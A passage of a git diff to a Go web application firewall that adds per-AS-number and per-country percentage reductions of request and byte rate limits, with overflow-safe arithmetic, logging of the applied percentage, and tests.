have made, if that alert would be sent. func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { rq.line.LimitHit = hit.Window if hit.Kind == ratelimit.KindBytes { @@ -131,6 +136,13 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { Requests: rq.netblockRequests(netblock), } + percent := rq.limitPercent + if hit.Kind == ratelimit.KindBytes { + percent = rq.bytesPercent + } + + notes.LimitPercent, notes.LimitPercentSetting = percent.logged() + if rq.h.config.Observe { ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes) if wouldBan { diff --git a/internal/proxy/biased.go b/internal/proxy/biased.go new file mode 100644 index 0000000..2b879e9 --- /dev/null +++ b/internal/proxy/biased.go @@ -0,0 +1,96 @@ +package proxy + +import ( + "sneak.berlin/go/smallwebwaf/internal/config" +) + +// whole is the percentage of each limit a client gets when no biased +// threshold lowers its limits. +const whole = 100 + +// percentage is a client's limit percentage for the rate limits or for +// the byte limits, as the biased thresholds give it, and the setting that +// gave it: "" with whole when none lowers that kind of limit. +type percentage struct { + percent int64 + setting string +} + +// biasedThresholdsSet reports whether a biased threshold can lower a +// client's limits: one of its lists is not empty, or +// SWWAF_UNKNOWN_LIMIT_PERCENT is below 100. The client's lookup is then +// needed before its request goes on. +func biasedThresholdsSet(cfg *config.Config) bool { + return len(cfg.ASNLimitPercent) > 0 || len(cfg.CountryLimitPercent) > 0 || + len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 || + cfg.UnknownLimitPercent < whole +} + +// limitPercentages returns a client's limit percentages, for the rate +// limits and for the byte limits, by its AS number and country as looked +// up, each "" when unknown. Each is the lowest of those the settings give +// it, the first of them in the order below when several are lowest: the +// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one +// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, and, for a client +// without a country, SWWAF_UNKNOWN_LIMIT_PERCENT. For the byte limits, +// SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the place +// of the first two for an AS number or a country they list. +func limitPercentages( + cfg *config.Config, asn, country string, +) (percentage, percentage) { + unknown := percentage{percent: whole} + if country == "" { + unknown = percentage{cfg.UnknownLimitPercent, "SWWAF_UNKNOWN_LIMIT_PERCENT"} + } + + asnRequests := given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT") + countryRequests := given(cfg.CountryLimitPercent, country, + "SWWAF_COUNTRY_LIMIT_PERCENT") + + asnBytes, countryBytes := asnRequests, countryRequests + if _, listed := cfg.ASNBytesPercent[asn]; listed { + asnBytes = given(cfg.ASNBytesPercent, asn, "SWWAF_ASN_BYTES_PERCENT") + } + + if _, listed := cfg.CountryBytesPercent[country]; listed { + countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT") + } + + return lowest(asnRequests, countryRequests, unknown), + lowest(asnBytes, countryBytes, unknown) +} + +// given returns the percentage percents, the setting named setting, gives +// code, an AS number or a country, or whole when it does not list code. +func given(percents map[string]int64, code, setting string) percentage { + percent, listed := percents[code] + if !listed { + return percentage{percent: whole} + } + + return percentage{percent, setting} +} + +// lowest returns the lowest of percentages below whole, the first of them +// when several are lowest, or whole when none is below it. +func lowest(percentages ...percentage) percentage { + low := percentage{percent: whole} + + for _, p := range percentages { + if p.percent < low.percent { + low = p + } + } + + return low +} + +// logged returns p as the log line and the notes of a ban give it: its +// percent and setting, or nil and "" for whole, which they leave out. +func (p percentage) logged() (*int64, string) { + if p.percent == whole { + return nil, "" + } + + return &p.percent, p.setting +} diff --git a/internal/proxy/biased_test.go b/internal/proxy/biased_test.go new file mode 100644 index 0000000..b74c695 --- /dev/null +++ b/internal/proxy/biased_test.go @@ -0,0 +1,494 @@ +package proxy_test + +import ( + "fmt" + "io" + "maps" + "net" + "net/http" + "net/http/httptest" + "net/netip" + "path/filepath" + "strings" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The biased thresholds. +const ( + asnLimitPercent = "SWWAF_ASN_LIMIT_PERCENT" + countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT" + asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT" + countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT" + unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT" +) + +const ( + // asnDEHalf and countryDEHalf give fromDE's AS number and its country + // half of every limit, and asnDEQuarter gives its AS number a quarter. + asnDEHalf = asnDE + ":50" + asnDEQuarter = asnDE + ":25" + countryDEHalf = "de:50" + // noCountry is in an AS of its own, AS64500, and in no country. + noCountry = "192.0.2.80" + // fourAMinute is the rate limit these tests set: half of it is 2 + // requests a minute, a quarter of it 1. + fourAMinute = "4" + // twoUploads is the byte limit these tests set: 199 bytes, which an + // upload, a request with a body and its answer, 100 bytes, is within, + // and half of which, 99 bytes, it is over. + twoUploads = "199" + // none is how percentText gives a percentage left out. + none = "none" +) + +func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + setting, value, from string + }{ + {asnLimitPercent, asnDEHalf, fromDE}, + {countryLimitPercent, countryDEHalf, fromDE}, + {unknownLimitPercent, "50", unplaced}, + } { + t.Run(tc.setting, func(t *testing.T) { + t.Parallel() + + s, _, _ := startWithLookups(t, map[string]string{ + rateLimitPerMinute: fourAMinute, tc.setting: tc.value, + }) + + // Half of 4 requests a minute: the third breaks the limit. + for _, sent := range []struct { + status int + action string + }{ + {http.StatusOK, requestlog.ActionForward}, + {http.StatusOK, requestlog.ActionForward}, + {http.StatusForbidden, requestlog.ActionRateLimited}, + } { + line := s.get(tc.from, sent.status, sent.action) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + "50 from "+tc.setting) + } + + // fromKP, which no setting lists, has the whole limit. + for range 3 { + line := s.get(fromKP, http.StatusOK, requestlog.ActionForward) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + none) + } + }) + } +} + +func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) { + t.Parallel() + + // The AS numbers and countries are given in either case. + for _, tc := range []struct { + setting, value, from string + }{ + {asnLimitPercent, asnDEHalf, fromDE}, + {countryLimitPercent, "DE:50", fromDE}, + {unknownLimitPercent, "50", unplaced}, + {asnBytesPercent, "as64496:50", fromDE}, + {countryBytesPercent, countryDEHalf, fromDE}, + } { + t.Run(tc.setting, func(t *testing.T) { + t.Parallel() + + s, _, _ := startWithLookups(t, map[string]string{ + bytesLimitPerMinute: twoUploads, tc.setting: tc.value, + }) + + // The upload's 100 bytes are over half of 199, 99. + line := s.uploadFrom(tc.from) + if line.LimitHit != minuteBytes { + t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes) + } + + wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, + "50 from "+tc.setting) + + // fromKP, which no setting lists, has the whole limit. + line = s.uploadFrom(fromKP) + if line.LimitHit != "" { + t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit) + } + + wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, none) + }) + } +} + +func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + env map[string]string + // limitPercent and bytesPercent are the log line's, as percentText + // gives them, and limitHit is its limit_hit. + limitPercent, bytesPercent, limitHit string + }{ + { + "lowering the byte limits alone", + map[string]string{asnBytesPercent: asnDEHalf}, + none, "50 from " + asnBytesPercent, minuteBytes, + }, + { + "lowering the byte limits alone, by country", + map[string]string{countryBytesPercent: countryDEHalf}, + none, "50 from " + countryBytesPercent, minuteBytes, + }, + { + "raising the byte limits back", + map[string]string{asnLimitPercent: asnDEHalf, asnBytesPercent: asnDE + ":100"}, + "50 from " + asnLimitPercent, none, "", + }, + { + "raising the byte limits back, by country", + map[string]string{countryLimitPercent: countryDEHalf, countryBytesPercent: "de:100"}, + "50 from " + countryLimitPercent, none, "", + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + env := map[string]string{bytesLimitPerMinute: twoUploads} + maps.Copy(env, tc.env) + s, _, _ := startWithLookups(t, env) + + // The upload's 100 bytes are over 99, half of 199, and within 199. + line := s.uploadFrom(fromDE) + if line.LimitHit != tc.limitHit { + t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit) + } + + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + tc.limitPercent) + wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, + tc.bytesPercent) + }) + } +} + +func TestZeroPercentIsAZeroAllowance(t *testing.T) { + t.Parallel() + + s, _, _ := startWithLookups(t, map[string]string{asnLimitPercent: asnDE + ":0"}) + + // The first request breaks the limit, and bans the client; the log line + // gives the 0. + line := s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) + if line.fields["limit_percent"] != float64(0) || + line.fields["limit_percent_setting"] != asnLimitPercent { + t.Errorf("log line has limit_percent %v from %v, want 0 from %s", + line.fields["limit_percent"], line.fields["limit_percent_setting"], + asnLimitPercent) + } + + s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) +} + +func TestLowestPercentageApplies(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + env map[string]string + from string + // want is the log line's limit_percent, as percentText gives it. + want string + }{ + { + "the country's", + map[string]string{asnLimitPercent: asnDEHalf, countryLimitPercent: "de:25"}, + fromDE, "25 from " + countryLimitPercent, + }, + { + "the AS number's", + map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: countryDEHalf}, + fromDE, "25 from " + asnLimitPercent, + }, + { + "the AS number's, the first of two alike", + map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: "de:25"}, + fromDE, "25 from " + asnLimitPercent, + }, + { + "that for a client without a country", + map[string]string{asnLimitPercent: "AS64500:50", unknownLimitPercent: "25"}, + noCountry, "25 from " + unknownLimitPercent, + }, + { + // SWWAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100. + "the AS number's, for a client without a country", + map[string]string{asnLimitPercent: "AS64500:25"}, + noCountry, "25 from " + asnLimitPercent, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + env := map[string]string{rateLimitPerMinute: fourAMinute} + maps.Copy(env, tc.env) + s, _, _ := startWithLookups(t, env) + + // A quarter of 4 requests a minute: the second breaks the limit. + s.get(tc.from, http.StatusOK, requestlog.ActionForward) + + line := s.get(tc.from, http.StatusForbidden, requestlog.ActionRateLimited) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + tc.want) + }) + } +} + +func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) { + t.Parallel() + + s, _, _ := startWithLookups(t, map[string]string{ + rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50", + }) + + // One the lookup database does not hold, and one on a private address, + // which is never looked up: the third request of each breaks half of 4. + for _, from := range []string{unplaced, "10.0.0.8"} { + s.get(from, http.StatusOK, requestlog.ActionForward) + s.get(from, http.StatusOK, requestlog.ActionForward) + s.get(from, http.StatusForbidden, requestlog.ActionRateLimited) + } + + // One in a country has the whole limit. + for range 3 { + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + } +} + +func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) { + t.Parallel() + + // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays + // says, with a GeoJS that never answers. + synctest.Test(t, func(t *testing.T) { + server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL, + time.Now, map[string]string{unknownLimitPercent: "0"}) + + // Once the second the request waits for its answer is up, the client + // counts as without a country, and its zero allowance refuses the + // request before it reaches the app. + serveFromDE(t, server, http.MethodGet, http.NoBody) + + line := out.requestLine(t) + wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + "0 from "+unknownLimitPercent) + }) +} + +func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) { + t.Parallel() + + const timeout = 3 * time.Second + + for _, tc := range []struct { + setting, value string + waits bool + }{ + {asnLimitPercent, asnDEHalf, true}, + {countryLimitPercent, countryDEHalf, true}, + {asnBytesPercent, asnDEHalf, true}, + {countryBytesPercent, countryDEHalf, true}, + {unknownLimitPercent, "99", true}, + // At 100, its default, it lowers no limit. + {unknownLimitPercent, "100", false}, + } { + t.Run(tc.setting+"="+tc.value, func(t *testing.T) { + t.Parallel() + + // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays + // says, with a GeoJS that never answers. + synctest.Test(t, func(t *testing.T) { + // The request's body is over SWWAF_REQUEST_MAX_BYTES, so that it + // is refused after the checks, and never reaches the app. + server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL, + time.Now, map[string]string{ + lookupTimeout: timeout.String(), requestMaxBytes: "1", + tc.setting: tc.value, + }) + began := time.Now() + + serveFromDE(t, server, http.MethodPost, strings.NewReader("ab")) + + want := time.Duration(0) + if tc.waits { + want = timeout + } + + if waited := time.Since(began); waited != want { + t.Errorf("the request waited %s for its answer, want %s", waited, want) + } + + wantLine(t, out.requestLine(t), http.StatusRequestEntityTooLarge, + requestlog.ActionTooLarge) + + // The bubble's clock stops once this function returns, so the + // request to GeoJS, which a request that did not wait leaves + // under way, has to be abandoned before then. + time.Sleep(timeout) + }) + }) + } +} + +func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + env map[string]string + // before is how many uploads come before the one that breaks a + // limit, which is answered with status and logged with action. + before int + status int + action string + // reason and want are the ban's reason, and its notes' limit + // percentage, as percentText gives it. + reason, want string + }{ + { + // A quarter of 12 requests a minute is 3: the fourth breaks it. + "a rate limit", + map[string]string{rateLimitPerMinute: "12", asnLimitPercent: asnDEQuarter}, + 3, http.StatusForbidden, requestlog.ActionRateLimited, + "requests per minute over the limit of 3", "25 from " + asnLimitPercent, + }, + { + // The byte limits' percentage, not the rate limits'. + "a byte limit", + map[string]string{ + bytesLimitPerMinute: twoUploads, asnLimitPercent: asnDEQuarter, + asnBytesPercent: asnDEHalf, + }, + 0, http.StatusOK, requestlog.ActionForward, + "bytes per minute over the limit of 99", "50 from " + asnBytesPercent, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + s, server, queue := startWithLookups(t, tc.env) + + for range tc.before { + s.uploadFrom(fromDE) + } + + s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody, + tc.status, tc.action) + + held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) + if len(held) != 1 { + t.Fatalf("bans %+v, want one", held) + } + + notes := held[0].Notes + if held[0].Reason != tc.reason { + t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason) + } + + wantPercent(t, "the notes' limit_percent", notes.LimitPercent, + notes.LimitPercentSetting, tc.want) + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 { + t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting) + } + + alerted, _ := waiting[0].Detail["notes"].(bans.Notes) + wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent, + alerted.LimitPercentSetting, tc.want) + }) + } +} + +// startWithLookups is startAppWithAlerts in front of readAndAnswer, with +// the settings in env on top of clients looked up in a lookup database, +// which places fromDE and fromKP in the AS numbers and countries the +// stand-in for GeoJS gives them, noCountry in AS64500 and no country, and +// no other address. It returns the sender, the server and the queue of +// the alerts. +func startWithLookups( + t *testing.T, env map[string]string, +) (*sender, *proxy.Server, *alerts.Queue) { + t.Helper() + + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") + lookuptest.Write(t, path, map[string]lookuptest.Network{ + fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"}, + fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"}, + noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"}, + }) + + settings := map[string]string{lookupSource: fileSource, lookupDBPath: path} + maps.Copy(settings, env) + + s, _, server, queue := startAppWithAlerts(t, readAndAnswer, settings) + + return s, server, queue +} + +// uploadFrom is upload from the client at from. +func (s *sender) uploadFrom(from string) logLine { + s.t.Helper() + + line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody, + http.StatusOK, requestlog.ActionForward) + + return line +} + +// serveFromDE hands a request from fromDE with method and body straight to +// server's handler, without the network, and returns once it is answered. +func serveFromDE(t *testing.T, server *proxy.Server, method string, body io.Reader) { + t.Helper() + + req := httptest.NewRequestWithContext(t.Context(), method, "/", body) + req.RemoteAddr = net.JoinHostPort(fromDE, "1234") + + server.Handler.ServeHTTP(httptest.NewRecorder(), req) +} + +// wantPercent checks a limit percentage that a log line or a ban's notes +// give, what, and the setting that gave it, against want, as percentText +// gives them. +func wantPercent(t *testing.T, what string, percent *int64, setting, want string) { + t.Helper() + + if got := percentText(percent, setting); got != want { + t.Errorf("%s is %s, want %s", what, got, want) + } +} + +// percentText gives a limit percentage and the setting that gave it as +// text, such as "50 from SWWAF_ASN_LIMIT_PERCENT", or none when both are +// left out. +func percentText(percent *int64, setting string) string { + switch { + case percent == nil && setting == "": + return none + case percent == nil: + return "none from " + setting + default: + return fmt.Sprintf("%d from %s", *percent, setting) + } +} diff --git a/internal/proxy/lookup.go b/internal/proxy/lookup.go index e36ad59..352e71d 100644 --- a/internal/proxy/lookup.go +++ b/internal/proxy/lookup.go @@ -22,8 +22,9 @@ const ( // database or through GeoJS, and notes them for the log line, unless // SWWAF_LOOKUP_SOURCE is off or the client is on a private, loopback or // link-local address, which no lookup can place. The lookup database -// answers at once. With GeoJS, while a setting needs the answer, a new -// client's request waits for it. ctx is the request's own context. +// answers at once. With GeoJS, while a setting needs the answer, such as a +// country list or a biased threshold, a new client's request waits for it. +// ctx is the request's own context. func (rq *request) lookUp(ctx context.Context) { if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) { return diff --git a/internal/proxy/lookup_test.go b/internal/proxy/lookup_test.go index 26af412..34a809c 100644 --- a/internal/proxy/lookup_test.go +++ b/internal/proxy/lookup_test.go @@ -22,6 +22,10 @@ import ( // and country. type asnAndCountry struct{ asn, asName, country string } +// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the +// lookup database. +const fileSource = "file" + func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) { t.Parallel() @@ -178,7 +182,7 @@ func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) { fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"}, }) s, clk, server := startWithClock(t, geojsURL, map[string]string{ - lookupSource: "file", + lookupSource: fileSource, lookupDBPath: path, allowedCountries: "DE", rateLimitPerMinute: "1", diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index fbe6dbb..f2b5671 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -124,11 +124,11 @@ func New(params Params) *Server { h.geojs = lookup.New(lookup.Params{ URL: params.GeoJSURL, Timeout: params.Config.LookupTimeout, - // The country lists and the headers act on the answer before the - // request goes on. + // The country lists, the headers and the biased thresholds act on + // the answer before the request goes on. Wait: len(params.Config.DeniedCountries) > 0 || len(params.Config.ExclusivelyAllowedCountries) > 0 || - params.Config.AddLookupHeaders, + params.Config.AddLookupHeaders || biasedThresholdsSet(params.Config), Answered: h.addLookup, Now: params.Now, ProcessLog: params.ProcessLog, diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 4a25d6f..1236c7b 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -315,7 +315,7 @@ func newProxy( var lookupFile *lookup.File - if cfg.LookupSource == "file" { + if cfg.LookupSource == fileSource { lookupFile, err = lookup.OpenFile(lookup.FileParams{ Path: cfg.LookupDBPath, Now: now, ProcessLog: processLog, Alerts: alertQueue, }) diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 94b3c77..d5452c4 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -56,9 +56,12 @@ type request struct { lookedUp bool lookupAnswer lookup.Answer // counted is true for a request the rate limits counted, whose bytes - // the byte limits count once it has ended. - counted bool - start time.Time + // the byte limits count once it has ended. limitPercent and + // bytesPercent are then its client's limit percentages for the rate + // limits and for the byte limits. + counted bool + limitPercent, bytesPercent percentage + start time.Time // checked is when the checks were done, and upstreamStart when the // request was handed to the app. checked time.Time @@ -212,9 +215,10 @@ func (rq *request) check(ctx context.Context) *refusal { // them refuses is not counted for the rate limits. Then come the rate // limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that -// every other request is counted, and last the rule files. A request -// exempt from the rate limits is exempt from the byte limits too. ctx is -// the request's own context. +// every other request is counted, each of them by the client's limit +// percentages, and last the rule files. A request exempt from the rate +// limits is exempt from the byte limits too. ctx is the request's own +// context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -239,6 +243,12 @@ func (rq *request) checkClient(ctx context.Context) string { rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) && !pathExempt(rq.in.URL, cfg.RateLimitExemptPaths) + if rq.counted { + rq.limitPercent, rq.bytesPercent = limitPercentages(cfg, rq.line.ASN, rq.line.Country) + rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged() + rq.line.BytesPercent, rq.line.BytesPercentSetting = rq.bytesPercent.logged() + } + if rq.counted && rq.limitBroken(now) { return requestlog.ActionRateLimited } diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 897c36f..f184063 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -174,7 +174,7 @@ type Hit struct { Kind string // Window is "minute", "hour" or "day". Window string - // Limit is the window's limit. + // Limit is the window's limit, as the client's percentage of it. Limit int64 // Count is the client's requests, or bytes, counted in the window, // this request's included. @@ -196,21 +196,24 @@ type Counts struct { // Count counts a request from client at now, in every window, whether or // not it is refused, and returns the client's counts in each window. It -// reports whether the request takes the client over a rate limit, and the -// hit: the window whose limit it goes over, the shortest if it is over -// several. -func (l *Limiter) Count(client netip.Prefix, now time.Time) (Counts, Hit, bool) { - return l.count(client, now, 1, 0) +// reports whether the request takes the client over a rate limit, of +// which the client gets the percentage percent, rounded down, and the hit: +// the window whose limit it goes over, the shortest if it is over +// several. A limit that is off stays off. +func (l *Limiter) Count( + client netip.Prefix, now time.Time, percent int64, +) (Counts, Hit, bool) { + return l.count(client, now, 1, 0, percent) } // CountBytes counts bytes, those of a request from client that has ended, // at now, in every window, and returns the client's counts in each window. -// It reports whether the bytes take the client over a byte limit, and the -// hit, as Count does. +// It reports whether the bytes take the client over a byte limit, of which +// the client gets the percentage percent, and the hit, as Count does. func (l *Limiter) CountBytes( - client netip.Prefix, now time.Time, bytes int64, + client netip.Prefix, now time.Time, bytes, percent int64, ) (Counts, Hit, bool) { - return l.count(client, now, 0, bytes) + return l.count(client, now, 0, bytes, percent) } // Reset sets client's counts of requests and of bytes in every window @@ -373,9 +376,10 @@ func (l *Limiter) Load(clients []Client, now time.Time) { // count adds requests and bytes from client at now to its buckets in // every window, and returns its counts. A limit is broken only by what is // added to it, so that a request whose bytes are counted after another of -// the client's requests broke a rate limit does not break it too. +// the client's requests broke a rate limit does not break it too. The +// client gets the percentage percent of each limit. func (l *Limiter) count( - client netip.Prefix, now time.Time, requests, bytes int64, + client netip.Prefix, now time.Time, requests, bytes, percent int64, ) (Counts, Hit, bool) { l.mu.Lock() defer l.mu.Unlock() @@ -391,16 +395,17 @@ func (l *Limiter) count( for i, w := range l.windows { requestCounts[i] = requestBuckets[i].add(now, w.length, requests) byteCounts[i] = byteBuckets[i].add(now, w.length, bytes) + limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent) switch { case hit.Window != "": - case requests > 0 && w.limit > 0 && requestCounts[i] > float64(w.limit): + case requests > 0 && w.limit > 0 && requestCounts[i] > float64(limit): hit = Hit{ - Kind: KindRequests, Window: w.name, Limit: w.limit, Count: requestCounts[i], + Kind: KindRequests, Window: w.name, Limit: limit, Count: requestCounts[i], } - case bytes > 0 && w.byteLimit > 0 && byteCounts[i] > float64(w.byteLimit): + case bytes > 0 && w.byteLimit > 0 && byteCounts[i] > float64(byteLimit): hit = Hit{ - Kind: KindBytes, Window: w.name, Limit: w.byteLimit, Count: byteCounts[i], + Kind: KindBytes, Window: w.name, Limit: byteLimit, Count: byteCounts[i], } } } @@ -446,6 +451,15 @@ type window struct { byteLimit int64 } +// percentOf returns the percentage percent of limit, rounded down. It is +// written as limit's hundreds times percent, plus the rest's share, since +// limit*percent can overflow for a byte limit. +func percentOf(limit, percent int64) int64 { + const hundred = 100 + + return limit/hundred*percent + limit%hundred*percent/hundred +} + // add counts n requests, or n bytes, at now in a window of length, and // returns the client's count in the window that ends at now: what is in // the bucket under way, and what is in the bucket before it weighted by diff --git a/internal/ratelimit/ratelimit_test.go b/internal/ratelimit/ratelimit_test.go index 6dc979d..0a31086 100644 --- a/internal/ratelimit/ratelimit_test.go +++ b/internal/ratelimit/ratelimit_test.go @@ -1,6 +1,7 @@ package ratelimit_test import ( + "math" "net/netip" "testing" "time" @@ -11,6 +12,10 @@ import ( // limit is the limit the tests set. const limit = 3 +// whole is the percentage of each limit a client gets when nothing lowers +// its limits. +const whole = 100 + // The windows, as Count names them. const ( minute = "minute" @@ -62,14 +67,14 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { start := midnight() for range limit { - _, _, over := limiter.Count(client, start) + _, _, over := limiter.Count(client, start, whole) if over { t.Fatal("a request within the limit is over it") } } // Over both limits; the minute's is named, with the four requests. - _, hit, over := limiter.Count(client, start) + _, hit, over := limiter.Count(client, start, whole) want := ratelimit.Hit{ Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1, @@ -80,6 +85,61 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { } } +func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + // Half of 5 requests is 2.5, rounded down to 2: the third is over. + for range 2 { + _, _, over := limiter.Count(client, start, 50) + if over { + t.Fatal("a request within half the limit is over it") + } + } + + _, hit, over := limiter.Count(client, start, 50) + + want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3} + if !over || hit != want { + t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want) + } + + // Half of the largest byte limit is still far above a TiB: working it + // out does not overflow. + _, hit, over = limiter.CountBytes(client, start, 1<<40, 50) + if over { + t.Errorf("a TiB is over half the largest byte limit: %+v", hit) + } +} + +func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) { + t.Parallel() + + // Only the hour has limits: the minute's and the day's are off. + limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + // At 0 percent, the first request and the first byte are over the + // hour's limits, which are 0; the minute's, which are off, stay off. + _, hit, _ := limiter.Count(client, start, 0) + + want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1} + if hit != want { + t.Errorf("the first request gives %+v, want %+v", hit, want) + } + + _, hit, _ = limiter.CountBytes(client, start, 1, 0) + + want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1} + if hit != want { + t.Errorf("the first byte gives %+v, want %+v", hit, want) + } +} + func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) { t.Parallel() @@ -100,12 +160,12 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) { client := netip.MustParsePrefix("203.0.113.9/32") // 600 bytes are within the limit, 600 more over it. - _, _, over := limiter.CountBytes(client, midnight(), 600) + _, _, over := limiter.CountBytes(client, midnight(), 600, whole) if over { t.Fatal("600 bytes are over the limit of 1000") } - _, hit, over := limiter.CountBytes(client, midnight(), 600) + _, hit, over := limiter.CountBytes(client, midnight(), 600, whole) want := ratelimit.Hit{ Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200, @@ -148,16 +208,16 @@ func TestCountGivesTheBytesInEachWindow(t *testing.T) { client := netip.MustParsePrefix("203.0.113.9/32") start := midnight() - limiter.CountBytes(client, start, 300) + limiter.CountBytes(client, start, 300, whole) // A quarter into the next hour, the minute has only these 100 bytes. // The hour still covers three quarters of the bucket before, whose 300 // bytes count 225, and these: 325. The day covers all 400. later := start.Add(time.Hour + time.Hour/4) - limiter.CountBytes(client, later, 100) + limiter.CountBytes(client, later, 100, whole) // A request's counts give the bytes counted so far too. - counts, _, _ := limiter.Count(client, later) + counts, _, _ := limiter.Count(client, later, whole) want := ratelimit.Counts{ Minute: 1, Hour: 1, Day: 1, MinuteBytes: 100, HourBytes: 325, DayBytes: 400, @@ -189,14 +249,14 @@ 